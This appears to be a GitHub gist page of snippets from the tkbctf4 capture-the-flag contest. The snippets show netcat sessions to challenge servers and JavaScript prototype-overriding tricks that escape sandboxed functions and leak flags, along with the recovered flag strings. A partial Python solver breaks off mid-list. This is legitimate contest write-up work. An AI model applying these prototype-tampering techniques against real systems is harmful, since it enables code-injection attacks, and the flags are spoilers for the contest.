Skip to content

Instantly share code, notes, and snippets.

View nnamon's full-sized avatar

nnamon nnamon

View GitHub Profile
@nnamon
nnamon / gist:70ac0b45557018eaa245
Created November 3, 2014 11:16
tkbctf4_rand_connect
$ nc 203.178.132.117 30349
var g = function () {
var rand = Math.random,
floor = Math.floor;
var symbols = [0,0,0,0,0,0,0].map(function (i) {
return floor(rand() * 6);
}).map(function (i) {
return ['&', '%', '*', '@', '#', '$'][i];
});
@nnamon
nnamon / tkbctf_rand_object_keys
Created November 3, 2014 11:24
tkbctf_rand_object_keys
rand> Object.keys(this)
["print", "quit", "version", "arguments", "g"]
@nnamon
nnamon / tkbctf4_rand_error
Created November 3, 2014 11:26
tkbctf4_rand_error
rand> g("getFlag()")
undefined:1: SyntaxError: Unexpected token ILLEGAL
getFlag@#
^
SyntaxError: Unexpected token ILLEGAL
at f (/home/nodejs/problems/rand.js:24:22)
at (d8):1:1
@nnamon
nnamon / tkbctf4_rand_tryagain
Created November 3, 2014 11:29
tkbctf4_rand_tryagain
rand> String.prototype.split = function(i) { return this.toString()}
function (i) { return this.toString()}
rand> String.prototype.join = function(i) { return this.toString()}
function (i) { return this.toString()}
rand> g("print(getFlag())")
try again
undefined
rand>
@nnamon
nnamon / tkbctf4_rand_replace
Created November 3, 2014 11:30
tkbctf4_rand_replace
rand> g("rand = function() {return 1}")
undefined
rand> g("print(getFlag())")
FLAG{7f94427ec6f49f70642d41c675b98832}
undefined
rand>
@nnamon
nnamon / tkbctf4_args_connect
Created November 3, 2014 13:13
tkbctf4_args_connect
$ nc 203.178.132.117 24089
var g = (function () {
var FLAG = 'FLAG_IS_HIDDEN_HERE';
function f (flg /* args[]... */) {
this.args = arguments;
if (flg) {
return FLAG;
} else {
return Array.prototype.slice.call(this.args, 1).join(', ');
@nnamon
nnamon / tkbctf4_args_bind
Created November 3, 2014 13:16
tkbctf4_args_bind
return f.bind(null, false);
@nnamon
nnamon / tkbctf4_args_argumentsref
Created November 3, 2014 13:18
tkbctf4_args_argumentsref
args> var gl
undefined
args> Array.prototype.slice.call = function(i,v) {gl=i;return[]}
function (i,v) {gl=i;return[]}
args> g("")
""
args> gl
[object Arguments]
args>
@nnamon
nnamon / tkbctf4_args_flag
Created November 3, 2014 13:20
tkbctf4_args_flag
args> gl
[object Arguments]
args> gl.callee(true)
"FLAG{3d2dba5b774814fa8fe87798898b7b30}"
args>
@nnamon
nnamon / tkbctf4_justdoit_solve.py
Created November 3, 2014 14:31
tkbctf4_justdoit_solve
import struct
import string
if __name__ == "__main__":
parts = []
parts.append(0x00f0c3eac5dfc8c2)
parts.append(0x00fec8e3e0fef0e5)
parts.append(0x00f6d0f4f5f6e5c0)
parts.append(0x00e9abeee6edfbf6)